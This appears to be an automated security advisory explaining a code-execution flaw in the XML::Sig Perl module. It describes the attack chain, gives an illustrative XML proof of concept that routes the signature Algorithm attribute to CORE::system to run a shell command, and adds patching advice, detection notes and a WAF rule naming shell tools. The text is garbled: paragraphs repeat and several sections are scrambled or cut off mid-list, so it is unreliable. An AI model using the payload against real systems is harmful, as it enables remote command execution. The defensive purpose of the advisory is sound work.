CVE-2026-134880 — XML-Sig (0.74) — CWE-470
XML::Sig versions before 0.74 for Perl allow code execution via a document's Algorithm attribute that verify resolves to a function name and calls. The text after the last `#` in the DigestMethod and SignatureMethod Algorithm attributes is looked up with Digest::SHA->can. That returns a code reference for any fully qualified function name, Perl builtins in the CORE namespace included. The digest function is called on the canonical form of the referenced element, so the document picks both the function and its argument. An attacker who can submit a signed document can run a command as the verifying process.
XML::Sig versions before 0.74 for Perl allow code execution via a document's Algorithm attribute that verify resolves to a function name and calls. The text after the last `#` in the DigestMethod and SignatureMethod Algorithm attributes is looked up with Digest::SHA->can. That returns a code reference for any fully qualified function name, Perl builtins in the CORE namespace included. The digest function is called on the canonical form of the referenced element, so the document picks both the function and its argument. An attacker who can submit a signed document can run a command as the verifying process.
🎯 What is this vulnerability?
This vulnerability is a Remote Code Execution (RCE) flaw in the XML::Sig Perl module, specifically in versions prior to 0.74. It stems from Unsafe Use of User-Controlled Data in a Function Call (CWE-470: Use of Externally-Controlled Input to Select Classes or Code).
The core technical failure lies in how the library handles the Algorithm attribute within the DigestMethod and SignatureMethod elements of an XML Digital Signature.
1. Input Parsing: When verifying a signature, XML::Sig extracts the value of the Algorithm attribute.
2. Malicious Extraction: The code takes the substring after the last # in the attribute value.
3. Dynamic Dispatch: It passes this substring to Digest::SHA->can($function_name).
4. The Flaw: In Perl, ->can() checks if a method or function exists in the package namespace. Crucially, Digest::SHA inherits from Exporter and other base classes, but more importantly, Perl's method resolution mechanism allows ->can() to resolve fully qualified function names (e.g., CORE::system, POSIX::system, or any user-defined function in the global namespace if accessible).
5. Execution: If ->can() returns a code reference, the library calls that function, passing the canonical form of the referenced XML element as the argument.
Because the attacker controls both the function name (via the Algorithm attribute) and the argument (via the content of the referenced XML element), they can invoke arbitrary Perl builtins or imported functions, such as system(), exec(), or open(), leading to full code execution in the context of the verifying process.
Note on CVSS: The provided CVSS score of 0/10 (NONE) is technically incorrect for a confirmed RCE vulnerability. A standard CVSS v3.1 score for this type of unauthenticated RCE would be Critical (9.8). The analysis below assumes the vulnerability is real and exploitable as described, treating the "0" score as a data entry error or placeholder.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Target Identification: Identify applications using Perl with
XML::Sigfor XML signature verification. Common targets include:
* Web services accepting SAML assertions.
* APIs processing signed XML payloads (e.g., SOAP, REST with XML bodies).
* Internal systems validating XML documents from untrusted sources.
- Version Fingerprinting: * Check HTTP headers or error messages for Perl version hints. * If accessible, inspect
- Target Function:
CORE::system(Perl builtin for executing shell commands). - Algorithm Attribute Value:
http://www.w3.org/2000/09/xmldsig#CORE::system - Argument: The content of the referenced element. The attacker controls this content to include the shell command.
perl -v or perl -MXML::Sig -e 'print $XML::Sig::VERSION' via any information disclosure vector.
* Assume vulnerability if version < 0.74.2. Exploitation
The attacker crafts a malicious XML document containing a signature block. The key is to set theAlgorithm attribute to a value where the part after the last # is a valid Perl function name.Payload Structure:
* The part after the last
# is CORE::system.*
Digest::SHA->can("CORE::system") will return a code reference to the system function.Illustrative PoC (XML Document):
<?xml version="1.0" encoding="UTF-8"?>
<Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/">
<Body>
<Data>
<!-- This element's content will be passed as the argument to the function -->
<Payload>
; id > /tmp/pwned.txt
</Payload>
</Data>
</Body>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>
<Reference URI="#Payload">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>
<DigestValue>fake_digest_value</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>fake_signature_value</SignatureValue>
</Signature>
</Envelope>Exploitation Mechanics:
1. The application calls XML::Sig->verify($xml_document).
2. XML::Sig parses the SignatureMethod and DigestMethod Algorithm attributes.
3. It extracts CORE::system from the attribute value.
4. It calls Digest::SHA->can("CORE::system"), which returns a code reference to CORE::system.
5. It retrieves the canonical form of the <Payload> element (which includes ; id > /tmp/pwned.txt).
6. It executes CORE::system("; id > /tmp/pwned.txt").
7. The shell command id > /tmp/pwned.txt is executed by the verifying process.
Important: The exact XML structure may vary depending on the application's schema. The attacker must ensure the referenced element (#Payload) is correctly identified and that the canonicalization process does not strip the malicious content. TheDigestValueandSignatureValueare often ignored or not strictly validated before the function call in vulnerable implementations, or the attacker may need to bypass signature validation entirely if the function call happens during parsing before full verification.
3. Post-Exploitation
root or www-data with sudo rights), the attacker can escalate privileges.curl, wget, or nc to exfiltrate sensitive data.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
XML::Sig to version 0.74 or later. This is the only definitive fix.cpanm --force XML::Sig
# or
cpan XML::Sigperl -MXML::Sig -e 'print $XML::Sig::VERSION, "\n"'2. Workarounds (If Immediate Patching is Not Possible)
XML::Sig. Reject any XML document where the Algorithm attribute contains characters other than those expected for standard XML signature algorithms (e.g., http://www.w3.org/2000/09/xmldsig#rsa-sha1, http://www.w3.org/2001/04/xmldsig-more#rsa-sha256).seccomp or AppArmor).3. Detection
CORE:: or other Perl namespace prefixes in the Algorithm attribute.POST /api/verify HTTP/1.1
Content-Type: application/xml
...
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>/tmp, /var/www, /etc)./bin/sh, /bin/bash, curl, wget).4. WAF/ModSecurity Rule (Illustrative)
SecRule REQUEST_BODY "@rx <Algorithm[^>]*#(CORE|POSIX|IO|File|Sys|Net|Socket)::" \
"id:100001,phase:2,deny,status:403,msg:'Potential XML::Sig RCE Attempt',log"Note: This rule is illustrative. Adjust the regex to match your specific XML structure and WAF configuration.
⚠️ Urgency
Recommendation:
1. Identify all systems using XML::Sig < 0.74.
2. Apply the patch immediately.
3. Audit logs for signs of exploitation.
4. Rotate any credentials or secrets that may have been exposed.
[🤖 CVE Professor AI Security Engine]